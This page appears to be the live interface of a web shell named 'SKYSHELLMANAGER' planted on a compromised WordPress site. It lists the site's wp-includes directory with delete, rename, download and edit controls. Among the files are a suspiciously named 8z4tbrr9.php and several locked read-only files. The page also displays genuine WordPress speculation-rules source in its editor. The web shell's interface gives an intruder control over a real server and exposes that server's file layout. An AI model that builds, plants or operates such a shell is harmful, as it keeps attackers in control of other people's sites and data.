ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.33

Path:root/home/mountain/public_html/wp-includes/

Name	Size	Perm	Actions
📁 pomo	-	0755	🗑️ 🏷️
📁 style-engine	-	0755	🗑️ 🏷️
📁 certificates	-	0755	🗑️ 🏷️
📁 sodium_compat	-	0755	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 customize	-	0755	🗑️ 🏷️
📁 rest-api	-	0755	🗑️ 🏷️
📁 fonts	-	0755	🗑️ 🏷️
📁 theme-compat	-	0755	🗑️ 🏷️
📁 php-compat	-	0755	🗑️ 🏷️
📁 html-api	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 interactivity-api	-	0755	🗑️ 🏷️
📁 js	-	0755	🗑️ 🏷️
📁 l10n	-	0755	🗑️ 🏷️
📁 blocks	-	0755	🗑️ 🏷️
📁 sitemaps	-	0755	🗑️ 🏷️
📁 block-supports	-	0755	🗑️ 🏷️
📁 IXR	-	0755	🗑️ 🏷️
📁 SimplePie	-	0755	🗑️ 🏷️
📁 Requests	-	0755	🗑️ 🏷️
📁 assets	-	0755	🗑️ 🏷️
📁 PHPMailer	-	0755	🗑️ 🏷️
📁 block-bindings	-	0755	🗑️ 🏷️
📁 Text	-	0755	🗑️ 🏷️
📁 ID3	-	0755	🗑️ 🏷️
📁 widgets	-	0755	🗑️ 🏷️
📁 block-patterns	-	0755	🗑️ 🏷️
📄 feed-rss2-comments.php	4.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 general-template.php	168.56 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 functions.wp-styles.php	8.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 functions.php	280.92 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 kses.php	72.73 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 formatting.php	334.88 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user-request.php	2.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 fonts.php	9.52 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss2.php	3.71 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 global-styles-and-settings.php	20.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-atom-comments.php	5.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss.php	1.16 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 link-template.php	154.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp.php	25.7 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wpdb.php	115.51 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class.wp-dependencies.php	0.36 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class.wp-styles.php	0.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 comment.php	128.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-widget-factory.php	3.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 config.php	34.31 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 cron.php	41.78 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 feed-atom.php	3.05 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-walker.php	13.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 embed-template.php	0.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 embed.php	37.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error-protection.php	4.02 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	5077.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user.php	22.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-xmlrpc-server.php	210.39 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 l10n.php	66.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-site.php	40.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 locale.php	0.16 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 spl-autoload-compat.php	0.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots-template.php	5.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 rss-functions.php	0.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 rss.php	22.57 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 security.php	34.31 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 session.php	0.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 sitemaps.php	3.16 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 speculative-loading.php	8.36 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 taxonomy.php	172.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 revision.php	30.02 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 template-canvas.php	0.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 template.php	23.59 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 theme-templates.php	6.09 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 theme.json	8.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 update.php	36.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 user.php	171.7 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 vars.php	6.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-db.php	0.43 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 rewrite.php	19.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 registration.php	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 media-template.php	61.58 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-settings.php	4.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 meta.php	63.71 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-blogs.php	25.24 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-constants.php	4.81 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-filters.php	6.48 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-functions.php	89.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-load.php	19.42 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 ms-network.php	3.69 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-url-pattern-prefixer.php	4.69 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 registration-functions.php	0.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 nav-menu-template.php	25.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 nav-menu.php	43.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 option.php	100.65 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 pluggable-deprecated.php	6.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 pluggable.php	119.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 plugin.php	37.14 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post-template.php	67.04 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post-thumbnail-template.php	10.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user-query.php	42.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-speculation-rules.php	7.35 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json.php	159.71 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-list.php	4.65 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-comment.php	13.89 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-nav-menu.php	11.76 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-page-dropdown.php	2.65 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-admin-bar.php	17.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-ajax-response.php	5.14 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-application-passwords.php	16.7 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-bindings-registry.php	8.26 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-editor-context.php	1.32 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-metadata-registry.php	11.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-category-dropdown.php	2.41 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-block.php	2.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-frame.php	1.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser.php	11.26 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-pattern-categories-registry.php	5.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-patterns-registry.php	10.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-template.php	1.99 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-templates-registry.php	7.06 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type-registry.php	4.9 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-category.php	8.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-smtp.php	0.45 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block.php	22.5 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 blocks.php	110.4 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess	0.17 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 8z4tbrr9.php	1.11 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 api.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 atomlib.php	11.79 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 author-template.php	18.51 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 block-bindings.php	5.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 block-patterns.php	12.9 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 block-template-utils.php	60.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 bookmark.php	15.07 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-simplepie.php	0.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 cache-compat.php	5.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 capabilities.php	41.72 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 category-template.php	55.67 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 category.php	12.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-IXR.php	2.55 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-feed.php	0.53 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-json.php	42.66 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-pop3.php	20.63 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-requests.php	2.18 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type.php	16.86 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-classic-to-block-menu-converter.php	3.99 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-schema.php	7.19 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-role.php	2.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-post-type.php	29.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-post.php	6.34 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-query.php	154.32 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-cookie-service.php	6.72 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-email-service.php	10.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-key-service.php	4.77 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode-link-service.php	3.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-rewrite.php	62.2 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-roles.php	8.38 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-paused-extensions-storage.php	4.99 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-simplepie-file.php	3.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-simplepie-sanitize-kses.php	1.87 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-site-query.php	30.88 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-site.php	7.28 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-tax-query.php	19.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-taxonomy.php	18.12 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-term-query.php	39.91 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-text-diff-renderer-table.php	18.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-resolver.php	34.9 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-plugin-dependencies.php	24.72 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-object-cache.php	17.11 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-control.php	25.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-cookie.php	7.22 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-manager.php	197.84 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-panel.php	10.46 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-section.php	10.95 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-dependencies.php	14.78 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-dependency.php	2.57 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-duotone.php	39.83 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-error.php	7.33 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-feed-cache.php	0.95 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-curl.php	12.25 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-meta-query.php	29.82 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-ixr-client.php	3.42 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-requests-hooks.php	1.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-requests-response.php	4.3 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http.php	40.6 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-image-editor-imagick.php	33.92 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-list-util.php	7.27 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale-switcher.php	6.62 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale.php	16.49 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-matchesmapregex.php	1.79 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: class-wp-speculation-rules.php

<?php
/**
 * Class 'WP_Speculation_Rules'.
 *
 * @package WordPress
 * @subpackage Speculative Loading
 * @since 6.8.0
 */

/**
 * Class representing a set of speculation rules.
 *
 * @since 6.8.0
 * @access private
 */
final class WP_Speculation_Rules implements JsonSerializable {

/**
	 * Stored rules, as a map of `$mode => $rules` pairs.
	 *
	 * Every `$rules` value is a map of `$id => $rule` pairs.
	 *
	 * @since 6.8.0
	 * @var array<string, array<string, mixed>>
	 */
	private $rules_by_mode = array();

/**
	 * The allowed speculation rules modes as a map, used for validation.
	 *
	 * @since 6.8.0
	 * @var array<string, bool>
	 */
	private static $mode_allowlist = array(
		'prefetch'  => true,
		'prerender' => true,
	);

/**
	 * The allowed speculation rules eagerness levels as a map, used for validation.
	 *
	 * @since 6.8.0
	 * @var array<string, bool>
	 */
	private static $eagerness_allowlist = array(
		'immediate'    => true,
		'eager'        => true,
		'moderate'     => true,
		'conservative' => true,
	);

/**
	 * The allowed speculation rules sources as a map, used for validation.
	 *
	 * @since 6.8.0
	 * @var array<string, bool>
	 */
	private static $source_allowlist = array(
		'list'     => true,
		'document' => true,
	);

/**
	 * Adds a speculation rule to the speculation rules to consider.
	 *
	 * @since 6.8.0
	 *
	 * @param string               $mode Speculative loading mode. Either 'prefetch' or 'prerender'.
	 * @param string               $id   Unique string identifier for the speculation rule.
	 * @param array<string, mixed> $rule Associative array of rule arguments.
	 * @return bool True on success, false if invalid parameters are provided.
	 */
	public function add_rule( string $mode, string $id, array $rule ): bool {
		if ( ! self::is_valid_mode( $mode ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: invalid mode value */
					__( 'The value "%s" is not a valid speculation rules mode.' ),
					esc_html( $mode )
				),
				'6.8.0'
			);
			return false;
		}

if ( ! $this->is_valid_id( $id ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: invalid ID value */
					__( 'The value "%s" is not a valid ID for a speculation rule.' ),
					esc_html( $id )
				),
				'6.8.0'
			);
			return false;
		}

if ( $this->has_rule( $mode, $id ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: invalid ID value */
					__( 'A speculation rule with ID "%s" already exists.' ),
					esc_html( $id )
				),
				'6.8.0'
			);
			return false;
		}

/*
		 * Perform some basic speculation rule validation.
		 * Every rule must have either a 'where' key or a 'urls' key, but not both.
		 * The presence of a 'where' key implies a 'source' of 'document', while the presence of a 'urls' key implies
		 * a 'source' of 'list'.
		 */
		if (
			( ! isset( $rule['where'] ) && ! isset( $rule['urls'] ) ) ||
			( isset( $rule['where'] ) && isset( $rule['urls'] ) )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: 1: allowed key, 2: alternative allowed key */
					__( 'A speculation rule must include either a "%1$s" key or a "%2$s" key, but not both.' ),
					'where',
					'urls'
				),
				'6.8.0'
			);
			return false;
		}
		if ( isset( $rule['source'] ) ) {
			if ( ! self::is_valid_source( $rule['source'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %s: invalid source value */
						__( 'The value "%s" is not a valid source for a speculation rule.' ),
						esc_html( $rule['source'] )
					),
					'6.8.0'
				);
				return false;
			}

if ( 'list' === $rule['source'] && isset( $rule['where'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: source value, 2: forbidden key */
						__( 'A speculation rule of source "%1$s" must not include a "%2$s" key.' ),
						'list',
						'where'
					),
					'6.8.0'
				);
				return false;
			}

if ( 'document' === $rule['source'] && isset( $rule['urls'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: source value, 2: forbidden key */
						__( 'A speculation rule of source "%1$s" must not include a "%2$s" key.' ),
						'document',
						'urls'
					),
					'6.8.0'
				);
				return false;
			}
		}

// If there is an 'eagerness' key specified, make sure it's valid.
		if ( isset( $rule['eagerness'] ) ) {
			if ( ! self::is_valid_eagerness( $rule['eagerness'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %s: invalid eagerness value */
						__( 'The value "%s" is not a valid eagerness for a speculation rule.' ),
						esc_html( $rule['eagerness'] )
					),
					'6.8.0'
				);
				return false;
			}

if ( isset( $rule['where'] ) && 'immediate' === $rule['eagerness'] ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %s: forbidden eagerness value */
						__( 'The eagerness value "%s" is forbidden for document-level speculation rules.' ),
						'immediate'
					),
					'6.8.0'
				);
				return false;
			}
		}

if ( ! isset( $this->rules_by_mode[ $mode ] ) ) {
			$this->rules_by_mode[ $mode ] = array();
		}

$this->rules_by_mode[ $mode ][ $id ] = $rule;
		return true;
	}

/**
	 * Checks whether a speculation rule for the given mode and ID already exists.
	 *
	 * @since 6.8.0
	 *
	 * @param string $mode Speculative loading mode. Either 'prefetch' or 'prerender'.
	 * @param string $id   Unique string identifier for the speculation rule.
	 * @return bool True if the rule already exists, false otherwise.
	 */
	public function has_rule( string $mode, string $id ): bool {
		return isset( $this->rules_by_mode[ $mode ][ $id ] );
	}

/**
	 * Returns the speculation rules data ready to be JSON-encoded.
	 *
	 * @since 6.8.0
	 *
	 * @return array<string, array<string, mixed>> Speculation rules data.
	 */
	#[ReturnTypeWillChange]
	public function jsonSerialize() {
		// Strip the IDs for JSON output, since they are not relevant for the Speculation Rules API.
		return array_map(
			static function ( array $rules ) {
				return array_values( $rules );
			},
			array_filter( $this->rules_by_mode )
		);
	}

/**
	 * Checks whether the given ID is valid.
	 *
	 * @since 6.8.0
	 *
	 * @param string $id Unique string identifier for the speculation rule.
	 * @return bool True if the ID is valid, false otherwise.
	 */
	private function is_valid_id( string $id ): bool {
		return (bool) preg_match( '/^[a-z][a-z0-9_-]+$/', $id );
	}

/**
	 * Checks whether the given speculation rules mode is valid.
	 *
	 * @since 6.8.0
	 *
	 * @param string $mode Speculation rules mode.
	 * @return bool True if valid, false otherwise.
	 */
	public static function is_valid_mode( string $mode ): bool {
		return isset( self::$mode_allowlist[ $mode ] );
	}

/**
	 * Checks whether the given speculation rules eagerness is valid.
	 *
	 * @since 6.8.0
	 *
	 * @param string $eagerness Speculation rules eagerness.
	 * @return bool True if valid, false otherwise.
	 */
	public static function is_valid_eagerness( string $eagerness ): bool {
		return isset( self::$eagerness_allowlist[ $eagerness ] );
	}

/**
	 * Checks whether the given speculation rules source is valid.
	 *
	 * @since 6.8.0
	 *
	 * @param string $source Speculation rules source.
	 * @return bool True if valid, false otherwise.
	 */
	public static function is_valid_source( string $source ): bool {
		return isset( self::$source_allowlist[ $source ] );
	}
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v7.4.33

Edit: class-wp-speculation-rules.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.33